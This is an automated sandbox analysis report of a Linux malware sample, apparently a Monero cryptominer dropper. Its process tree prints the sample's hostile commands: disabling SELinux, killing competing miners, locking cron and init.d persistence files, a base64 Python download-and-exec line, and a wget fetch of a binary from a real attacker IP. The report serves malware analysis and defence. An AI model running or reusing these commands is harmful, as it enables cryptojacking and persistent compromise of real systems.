Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    08/09/2024, 13:50

General

  • Target
    d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118
  • Size 23KB
  • Sample240908-q5agjazamn
  • SHA256 e604a730154af21ede38f155dbee7ceeb218abd02362c0eba0ad0db9c5dfad33
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Creates/modifies Cron job 1 TTPs 6 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Disables SELinux 6 IoCs

    Disables SELinux security module.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 16 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118
    /tmp/d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118
    1⤵
    • Creates/modifies Cron job
    PID:646
    • /usr/sbin/setenforce
      setenforce 0
      2⤵
      • Disables SELinux
      • Reads runtime system information
      PID:648
    • /bin/grep
      grep -c processor /proc/cpuinfo
      2⤵
      • Checks CPU configuration
      PID:650
    • /sbin/sysctl
      sysctl -w "vm.nr_hugepages=3"
      2⤵
      • Reads CPU attributes
      • Reads runtime system information
      PID:653
    • /bin/grep
      grep :3333
      2⤵
        PID:659
      • /usr/bin/awk
        awk "{print \$7}"
        2⤵
          PID:660
        • /bin/sed
          sed -e "s/\\/.*//g"
          2⤵
          • Reads runtime system information
          PID:661
        • /usr/bin/xargs
          xargs kill -9
          2⤵
            PID:662
            • /sbin/kill
              kill -9
              3⤵
                PID:668
              • /bin/kill
                kill -9
                3⤵
                • Reads CPU attributes
                • Reads runtime system information
                PID:668
            • /bin/grep
              grep :4444
              2⤵
                PID:672
              • /usr/bin/awk
                awk "{print \$7}"
                2⤵
                  PID:673
                • /bin/sed
                  sed -e "s/\\/.*//g"
                  2⤵
                  • Reads runtime system information
                  PID:674
                • /usr/bin/xargs
                  xargs kill -9
                  2⤵
                    PID:675
                    • /sbin/kill
                      kill -9
                      3⤵
                        PID:678
                      • /bin/kill
                        kill -9
                        3⤵
                        • Reads CPU attributes
                        PID:678
                    • /bin/grep
                      grep :5555
                      2⤵
                        PID:682
                      • /usr/bin/awk
                        awk "{print \$7}"
                        2⤵
                          PID:683
                        • /bin/sed
                          sed -e "s/\\/.*//g"
                          2⤵
                          • Reads runtime system information
                          PID:684
                        • /usr/bin/xargs
                          xargs kill -9
                          2⤵
                            PID:685
                            • /sbin/kill
                              kill -9
                              3⤵
                                PID:688
                              • /bin/kill
                                kill -9
                                3⤵
                                • Reads CPU attributes
                                PID:688
                            • /bin/grep
                              grep :7777
                              2⤵
                                PID:691
                              • /bin/sed
                                sed -e "s/\\/.*//g"
                                2⤵
                                  PID:693
                                • /usr/bin/xargs
                                  xargs kill -9
                                  2⤵
                                  • Reads runtime system information
                                  PID:694
                                  • /sbin/kill
                                    kill -9
                                    3⤵
                                      PID:696
                                    • /bin/kill
                                      kill -9
                                      3⤵
                                      • Reads CPU attributes
                                      PID:696
                                  • /usr/bin/awk
                                    awk "{print \$7}"
                                    2⤵
                                      PID:692
                                    • /bin/grep
                                      grep :14444
                                      2⤵
                                        PID:698
                                      • /bin/sed
                                        sed -e "s/\\/.*//g"
                                        2⤵
                                          PID:700
                                        • /usr/bin/awk
                                          awk "{print \$7}"
                                          2⤵
                                          • Reads runtime system information
                                          PID:699
                                        • /usr/bin/xargs
                                          xargs kill -9
                                          2⤵
                                            PID:701
                                            • /sbin/kill
                                              kill -9
                                              3⤵
                                                PID:703
                                              • /bin/kill
                                                kill -9
                                                3⤵
                                                • Reads CPU attributes
                                                PID:703
                                            • /bin/grep
                                              grep :5790
                                              2⤵
                                              • Disables SELinux
                                              PID:707
                                            • /usr/bin/awk
                                              awk "{print \$7}"
                                              2⤵
                                                PID:708
                                              • /bin/sed
                                                sed -e "s/\\/.*//g"
                                                2⤵
                                                  PID:709
                                                • /usr/bin/xargs
                                                  xargs kill -9
                                                  2⤵
                                                    PID:710
                                                    • /sbin/kill
                                                      kill -9
                                                      3⤵
                                                        PID:711
                                                      • /bin/kill
                                                        kill -9
                                                        3⤵
                                                        • Reads CPU attributes
                                                        • Reads runtime system information
                                                        PID:711
                                                    • /bin/grep
                                                      grep :45700
                                                      2⤵
                                                      • Disables SELinux
                                                      PID:714
                                                    • /usr/bin/awk
                                                      awk "{print \$7}"
                                                      2⤵
                                                        PID:715
                                                      • /bin/sed
                                                        sed -e "s/\\/.*//g"
                                                        2⤵
                                                          PID:716
                                                        • /usr/bin/xargs
                                                          xargs kill -9
                                                          2⤵
                                                            PID:717
                                                            • /sbin/kill
                                                              kill -9
                                                              3⤵
                                                                PID:718
                                                              • /bin/kill
                                                                kill -9
                                                                3⤵
                                                                • Reads CPU attributes
                                                                PID:718
                                                            • /bin/grep
                                                              grep :2222
                                                              2⤵
                                                                PID:720
                                                              • /usr/bin/awk
                                                                awk "{print \$7}"
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:721
                                                              • /bin/sed
                                                                sed -e "s/\\/.*//g"
                                                                2⤵
                                                                  PID:722
                                                                • /usr/bin/xargs
                                                                  xargs kill -9
                                                                  2⤵
                                                                    PID:723
                                                                    • /sbin/kill
                                                                      kill -9
                                                                      3⤵
                                                                        PID:725
                                                                      • /bin/kill
                                                                        kill -9
                                                                        3⤵
                                                                        • Reads CPU attributes
                                                                        PID:725
                                                                    • /bin/grep
                                                                      grep :9999
                                                                      2⤵
                                                                        PID:727
                                                                      • /usr/bin/awk
                                                                        awk "{print \$7}"
                                                                        2⤵
                                                                          PID:728
                                                                        • /bin/sed
                                                                          sed -e "s/\\/.*//g"
                                                                          2⤵
                                                                            PID:729
                                                                          • /usr/bin/xargs
                                                                            xargs kill -9
                                                                            2⤵
                                                                            • Reads runtime system information
                                                                            PID:730
                                                                            • /sbin/kill
                                                                              kill -9
                                                                              3⤵
                                                                                PID:731
                                                                              • /bin/kill
                                                                                kill -9
                                                                                3⤵
                                                                                • Reads CPU attributes
                                                                                PID:731
                                                                            • /bin/grep
                                                                              grep :20580
                                                                              2⤵
                                                                              • Disables SELinux
                                                                              PID:733
                                                                            • /usr/bin/awk
                                                                              awk "{print \$7}"
                                                                              2⤵
                                                                                PID:734
                                                                              • /bin/sed
                                                                                sed -e "s/\\/.*//g"
                                                                                2⤵
                                                                                  PID:735
                                                                                • /usr/bin/xargs
                                                                                  xargs kill -9
                                                                                  2⤵
                                                                                    PID:736
                                                                                    • /sbin/kill
                                                                                      kill -9
                                                                                      3⤵
                                                                                        PID:737
                                                                                      • /bin/kill
                                                                                        kill -9
                                                                                        3⤵
                                                                                        • Reads CPU attributes
                                                                                        PID:737
                                                                                    • /bin/grep
                                                                                      grep :13531
                                                                                      2⤵
                                                                                        PID:739
                                                                                      • /usr/bin/awk
                                                                                        awk "{print \$7}"
                                                                                        2⤵
                                                                                          PID:740
                                                                                        • /bin/sed
                                                                                          sed -e "s/\\/.*//g"
                                                                                          2⤵
                                                                                            PID:741
                                                                                          • /usr/bin/xargs
                                                                                            xargs kill -9
                                                                                            2⤵
                                                                                            • Reads runtime system information
                                                                                            PID:742
                                                                                            • /sbin/kill
                                                                                              kill -9
                                                                                              3⤵
                                                                                                PID:743
                                                                                              • /bin/kill
                                                                                                kill -9
                                                                                                3⤵
                                                                                                • Reads CPU attributes
                                                                                                PID:743
                                                                                            • /bin/grep
                                                                                              grep 23.94.24.12:8080
                                                                                              2⤵
                                                                                              • Disables SELinux
                                                                                              PID:745
                                                                                            • /usr/bin/awk
                                                                                              awk "{print \$7}"
                                                                                              2⤵
                                                                                                PID:746
                                                                                              • /bin/sed
                                                                                                sed -e "s/\\/.*//g"
                                                                                                2⤵
                                                                                                • Reads runtime system information
                                                                                                PID:747
                                                                                              • /usr/bin/xargs
                                                                                                xargs kill -9
                                                                                                2⤵
                                                                                                  PID:748
                                                                                                  • /sbin/kill
                                                                                                    kill -9
                                                                                                    3⤵
                                                                                                      PID:749
                                                                                                    • /bin/kill
                                                                                                      kill -9
                                                                                                      3⤵
                                                                                                      • Reads CPU attributes
                                                                                                      PID:749
                                                                                                  • /bin/grep
                                                                                                    grep 134.122.17.13:8080
                                                                                                    2⤵
                                                                                                    • Disables SELinux
                                                                                                    PID:751
                                                                                                  • /usr/bin/awk
                                                                                                    awk "{print \$7}"
                                                                                                    2⤵
                                                                                                    • Reads runtime system information
                                                                                                    PID:752
                                                                                                  • /bin/sed
                                                                                                    sed -e "s/\\/.*//g"
                                                                                                    2⤵
                                                                                                      PID:753
                                                                                                    • /usr/bin/xargs
                                                                                                      xargs kill -9
                                                                                                      2⤵
                                                                                                      • Reads runtime system information
                                                                                                      PID:754
                                                                                                      • /sbin/kill
                                                                                                        kill -9
                                                                                                        3⤵
                                                                                                          PID:755
                                                                                                        • /bin/kill
                                                                                                          kill -9
                                                                                                          3⤵
                                                                                                          • Reads CPU attributes
                                                                                                          • Reads runtime system information
                                                                                                          PID:755
                                                                                                      • /bin/grep
                                                                                                        grep 107.189.11.170:443
                                                                                                        2⤵
                                                                                                          PID:757
                                                                                                        • /usr/bin/awk
                                                                                                          awk "{print \$7}"
                                                                                                          2⤵
                                                                                                            PID:758
                                                                                                          • /bin/sed
                                                                                                            sed -e "s/\\/.*//g"
                                                                                                            2⤵
                                                                                                            • Reads runtime system information
                                                                                                            PID:759
                                                                                                          • /usr/bin/xargs
                                                                                                            xargs kill -9
                                                                                                            2⤵
                                                                                                              PID:760
                                                                                                              • /sbin/kill
                                                                                                                kill -9
                                                                                                                3⤵
                                                                                                                  PID:761
                                                                                                                • /bin/kill
                                                                                                                  kill -9
                                                                                                                  3⤵
                                                                                                                  • Reads CPU attributes
                                                                                                                  • Reads runtime system information
                                                                                                                  PID:761
                                                                                                              • /usr/bin/seq
                                                                                                                seq 0 255
                                                                                                                2⤵
                                                                                                                  PID:763
                                                                                                                • /usr/bin/sort
                                                                                                                  sort -R
                                                                                                                  2⤵
                                                                                                                    PID:764
                                                                                                                  • /usr/bin/head
                                                                                                                    head -n1
                                                                                                                    2⤵
                                                                                                                      PID:765
                                                                                                                    • /usr/bin/seq
                                                                                                                      seq 0 255
                                                                                                                      2⤵
                                                                                                                        PID:767
                                                                                                                      • /usr/bin/sort
                                                                                                                        sort -R
                                                                                                                        2⤵
                                                                                                                          PID:768
                                                                                                                        • /usr/bin/head
                                                                                                                          head -n1
                                                                                                                          2⤵
                                                                                                                            PID:769
                                                                                                                          • /usr/bin/chattr
                                                                                                                            chattr -ai /tmp/dbused
                                                                                                                            2⤵
                                                                                                                              PID:770
                                                                                                                            • /sbin/ip
                                                                                                                              ip a
                                                                                                                              2⤵
                                                                                                                                PID:772
                                                                                                                              • /bin/grep
                                                                                                                                grep "BROADCAST\\|inet"
                                                                                                                                2⤵
                                                                                                                                  PID:773
                                                                                                                                • /bin/grep
                                                                                                                                  grep -oP "inet\\s+\\K\\d{1,3}\\.\\d{1,3}"
                                                                                                                                  2⤵
                                                                                                                                    PID:774
                                                                                                                                  • /bin/grep
                                                                                                                                    grep -v 127
                                                                                                                                    2⤵
                                                                                                                                      PID:775
                                                                                                                                    • /bin/grep
                                                                                                                                      grep -v inet6
                                                                                                                                      2⤵
                                                                                                                                        PID:776
                                                                                                                                      • /bin/grep
                                                                                                                                        grep -v 255
                                                                                                                                        2⤵
                                                                                                                                          PID:777
                                                                                                                                        • /usr/bin/head
                                                                                                                                          head -n1
                                                                                                                                          2⤵
                                                                                                                                            PID:778
                                                                                                                                          • /bin/ping
                                                                                                                                            ping -c 1 pool.supportxmr.com
                                                                                                                                            2⤵
                                                                                                                                              PID:780
                                                                                                                                            • /bin/grep
                                                                                                                                              grep "bytes of data"
                                                                                                                                              2⤵
                                                                                                                                                PID:781
                                                                                                                                              • /usr/bin/wc
                                                                                                                                                wc -l
                                                                                                                                                2⤵
                                                                                                                                                  PID:782
                                                                                                                                                • /bin/ping
                                                                                                                                                  ping -c 1 bash.givemexyz.xyz
                                                                                                                                                  2⤵
                                                                                                                                                    PID:786
                                                                                                                                                  • /bin/grep
                                                                                                                                                    grep "bytes of data"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:787
                                                                                                                                                    • /usr/bin/wc
                                                                                                                                                      wc -l
                                                                                                                                                      2⤵
                                                                                                                                                        PID:788
                                                                                                                                                      • /usr/bin/whoami
                                                                                                                                                        whoami
                                                                                                                                                        2⤵
                                                                                                                                                          PID:789
                                                                                                                                                        • /usr/bin/whoami
                                                                                                                                                          whoami
                                                                                                                                                          2⤵
                                                                                                                                                            PID:791
                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                            crontab -l
                                                                                                                                                            2⤵
                                                                                                                                                            • Reads runtime system information
                                                                                                                                                            PID:792
                                                                                                                                                          • /bin/grep
                                                                                                                                                            grep -q "205.185.113.151\\|5.196.247.12\\|cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly81LjE5Ni4yNDcuMTIvZC5weSIpLnJlYWQoKSkn"
                                                                                                                                                            2⤵
                                                                                                                                                              PID:793
                                                                                                                                                            • /usr/bin/whoami
                                                                                                                                                              whoami
                                                                                                                                                              2⤵
                                                                                                                                                                PID:795
                                                                                                                                                              • /usr/bin/base64
                                                                                                                                                                base64 -d
                                                                                                                                                                2⤵
                                                                                                                                                                • Deobfuscate/Decode Files or Information
                                                                                                                                                                PID:798
                                                                                                                                                              • /bin/bash
                                                                                                                                                                bash -
                                                                                                                                                                2⤵
                                                                                                                                                                • Modifies init.d
                                                                                                                                                                PID:799
                                                                                                                                                                • /bin/ping
                                                                                                                                                                  ping -c 1 bash.givemexyz.xyz
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:802
                                                                                                                                                                  • /bin/grep
                                                                                                                                                                    grep "bytes of data"
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:803
                                                                                                                                                                    • /usr/bin/wc
                                                                                                                                                                      wc -l
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:804
                                                                                                                                                                    • /bin/mkdir
                                                                                                                                                                      mkdir -p /var/spool/cron/crontabs
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                      PID:806
                                                                                                                                                                    • /bin/mkdir
                                                                                                                                                                      mkdir -p /etc/cron.hourly
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:808
                                                                                                                                                                      • /bin/chmod
                                                                                                                                                                        chmod 755 /etc/cron.hourly/oanacroner1
                                                                                                                                                                        2⤵
                                                                                                                                                                        • File and Directory Permissions Modification
                                                                                                                                                                        PID:810
                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                        chattr +ai -V /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:811
                                                                                                                                                                        • /bin/grep
                                                                                                                                                                          grep "66.70.218.40:8080\\|209.141.35.17:8080"
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:816
                                                                                                                                                                          • /bin/grep
                                                                                                                                                                            grep "LISTEN\\|ESTABLISHED\\|TIME_WAIT"
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:817
                                                                                                                                                                            • /bin/grep
                                                                                                                                                                              grep -v grep
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:818
                                                                                                                                                                              • /bin/grep
                                                                                                                                                                                grep "66.70.218.40:8080\\|209.141.35.17:8080"
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:821
                                                                                                                                                                                • /bin/grep
                                                                                                                                                                                  grep ESTABLISHED
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:822
                                                                                                                                                                                  • /bin/grep
                                                                                                                                                                                    grep -v grep
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:823
                                                                                                                                                                                    • /usr/bin/awk
                                                                                                                                                                                      awk "{if(\$2>=30.0) print \$1}"
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                      PID:827
                                                                                                                                                                                    • /bin/ps
                                                                                                                                                                                      ps axf -o "pid %cpu"
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                      PID:826
                                                                                                                                                                                    • /usr/bin/md5sum
                                                                                                                                                                                      md5sum /tmp/x86_643
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:834
                                                                                                                                                                                      • /usr/bin/awk
                                                                                                                                                                                        awk "{ print \$1 }"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:835
                                                                                                                                                                                        • /usr/bin/getconf
                                                                                                                                                                                          getconf LONG_BIT
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:837
                                                                                                                                                                                          • /usr/bin/wget
                                                                                                                                                                                            wget -O /tmp/x86_64 http://198.98.57.217/x86_64
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                            PID:839

                                                                                                                                                                                        Network

                                                                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                                                                              Replay Monitor

                                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                                              Downloads

                                                                                                                                                                                              apache

                                                                                                                                                                                              • Path /etc/cron.d/apache
                                                                                                                                                                                              • Size 323B
                                                                                                                                                                                              • SHA256 21adfcc05bc76c29ba43fffb268464f78f8c5aeb311e712f2e549500afc4f044
                                                                                                                                                                                              • MD5 SHA1 SHA512

                                                                                                                                                                                              nginx

                                                                                                                                                                                              • Path /etc/cron.d/nginx
                                                                                                                                                                                              • Size 116B
                                                                                                                                                                                              • SHA256 cbf2790d96dd9f5b249264107590d7b47912f0b086dc046ed582f0938da4a636
                                                                                                                                                                                              • MD5 SHA1 SHA512

                                                                                                                                                                                              root

                                                                                                                                                                                              • Path /etc/cron.d/root
                                                                                                                                                                                              • Size 323B
                                                                                                                                                                                              • SHA256 49282eefb95852ad618b6c5fb3feb2e5d536fb7e6694a1219045222aebbab0e9
                                                                                                                                                                                              • MD5 SHA1 SHA512

                                                                                                                                                                                              oanacroner1

                                                                                                                                                                                              • Path /etc/cron.hourly/oanacroner1
                                                                                                                                                                                              • Size 305B
                                                                                                                                                                                              • SHA256 c41e3e0e0f2198d9f0dd999146d5aa88adaadbdd2a8830064e9084c3fb928a77
                                                                                                                                                                                              • MD5 SHA1 SHA512

                                                                                                                                                                                              down

                                                                                                                                                                                              • Path /etc/init.d/down
                                                                                                                                                                                              • Size 363B
                                                                                                                                                                                              • SHA256 3c44fde9909cfffd4f4e46bab70d902548f0e9218f2b7984ce51770fd1c67275
                                                                                                                                                                                              • MD5 SHA1 SHA512

                                                                                                                                                                                              root

                                                                                                                                                                                              • Path /var/spool/cron/crontabs/root
                                                                                                                                                                                              • Size 316B
                                                                                                                                                                                              • SHA256 19157fbd5fe224250a445ec5bd70ff3254a26a08f7ab403d87ddc7bf6859c9ce
                                                                                                                                                                                              • MD5 SHA1 SHA512

                                                                                                                                                                                              root

                                                                                                                                                                                              • Path /var/spool/cron/root
                                                                                                                                                                                              • Size 320B
                                                                                                                                                                                              • SHA256 b5b78e6f0a2b92b418feef3f4463f00adccd0ccfbcab77a8622178ac5ff75d7f
                                                                                                                                                                                              • MD5 SHA1 SHA512